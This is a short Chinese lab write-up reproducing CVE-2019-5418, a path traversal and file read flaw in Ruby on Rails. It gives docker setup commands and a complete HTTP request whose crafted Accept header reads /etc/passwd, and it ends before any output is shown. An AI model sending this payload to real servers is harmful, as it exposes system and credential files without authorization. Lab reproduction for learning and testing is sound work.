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Ruby on Rails 路径穿越与任意文件读取漏洞CVE-2019-5418

Ruby on Rails 是一个用于快速构建Web应用的框架。

在Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3时当使用render file在控制器中渲染应用之外的视图时会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取和包含任意文件。

参考链接:

环境搭建

执行如下命令编译及启动Ruby on Rails 5.2.2

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:3000即可看到Ruby on Rails的欢迎页面。

漏洞复现

访问http://your-ip:3000/robots可见正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取/etc/passwd

GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


成功读取: